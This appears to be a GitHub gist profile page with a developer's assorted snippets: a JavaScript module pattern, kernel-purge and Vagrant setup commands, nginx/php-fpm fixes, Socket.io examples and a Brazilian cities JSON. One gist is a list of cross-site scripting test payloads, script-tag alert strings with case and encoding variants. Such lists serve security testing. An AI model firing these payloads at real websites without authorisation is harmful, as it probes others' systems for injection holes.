Skip to content

Instantly share code, notes, and snippets.

View guipacheco2's full-sized avatar

Guilherme Pacheco guipacheco2

View GitHub Profile
@guipacheco2
guipacheco2 / module.js
Created March 22, 2014 17:57
Javascritp module pattern
(function (window, document, undefined){
'use strict';
var App = (function () {
var exports = {},
module = {};
module._privateVar = 'This is a private variable';
module._privateMethod = function _privateMethod() {
return 'This is a private method';
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
@guipacheco2
guipacheco2 / README.md
Last active August 29, 2015 13:58
VirtualBox

Vagrantizar uma VM Comum.

  • Acessar VM atual e adicionar eth1 no /etc/network/interfaces
auto eth1
iface eth1 inet static
address 172.16.0.100
netmask 255.255.255.0

How do I uninstall any Apple pkg Package file?

At some point — I'm not sure which — Apple added an easier-to-use solution in the form of pkgutil.

  • $ pkgutil --pkgs # list all installed packages
  • $ pkgutil --files the-package-name.pkg # list installed files

After visually inspecting the list of files you can do something like:

  • $ pkgutil --pkg-info the-package-name.pkg # check the location
@guipacheco2
guipacheco2 / php-sock.md
Last active August 29, 2015 14:01
Infra

nginx error connect to php5-fpm.sock failed (13: Permission denied)

Instead of change permission to 666, better to change owner of php5-fpm.sock and set permission to 660.

Go to /etc/php5/fpm/pool.d Open www.conf (sudo nano www.conf) Uncomment all permission lines, like:

listen.owner = www-data listen.group = www-data

Vagrant

Plugins

  • vagrant plugin install vagrant-bindfs
  • vagrant plugin install vagrant-vbguest

Config BINDFS

Before installing bindfs, we need to install FUSE with development package using yum:

  • yum install fuse fuse-devel -y
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83)) </script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83)) </ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
@guipacheco2
guipacheco2 / CidadesBR.json
Created November 26, 2014 22:54
JSON de Cidades do Brasil
[
{"nome" : "Abadia de Goiás, Goiás", "slug" : "abadia de goias, goias", "uf" : "Goiás"},
{"nome" : "Abadia dos Dourados, Minas Gerais", "slug" : "abadia dos dourados, minas gerais", "uf" : "Minas Gerais"},
{"nome" : "Abadiânia, Goiás", "slug" : "abadiania, goias", "uf" : "Goiás"},
{"nome" : "Abaeté, Minas Gerais", "slug" : "abaete, minas gerais", "uf" : "Minas Gerais"},
{"nome" : "Abaetetuba, Pará", "slug" : "abaetetuba, para", "uf" : "Pará"},
{"nome" : "Abaiara, Ceará", "slug" : "abaiara, ceara", "uf" : "Ceará"},
{"nome" : "Abaíra, Bahia", "slug" : "abaira, bahia", "uf" : "Bahia"},
{"nome" : "Abaré, Bahia", "slug" : "abare, bahia", "uf" : "Bahia"},
{"nome" : "Abatiá, Paraná", "slug" : "abatia, parana", "uf" : "Paraná"},
@guipacheco2
guipacheco2 / Guia eventos socket
Created January 4, 2015 17:13
Node.js Socket.io
// send to current request socket client
socket.emit('message', "this is a test");
// sending to all clients, include sender
io.sockets.emit('message', "this is a test");
// sending to all clients except sender
socket.broadcast.emit('message', "this is a test");
// sending to all clients in 'game' room(channel) except sender
@guipacheco2
guipacheco2 / git.md
Last active September 28, 2015 20:35
Git

git

Config

  • git config --global user.name "Guilherme Pacheco"
  • git config --global user.email "guipacheco2@gmail.com"
  • git config --global color.ui true
  • git config --global push.default current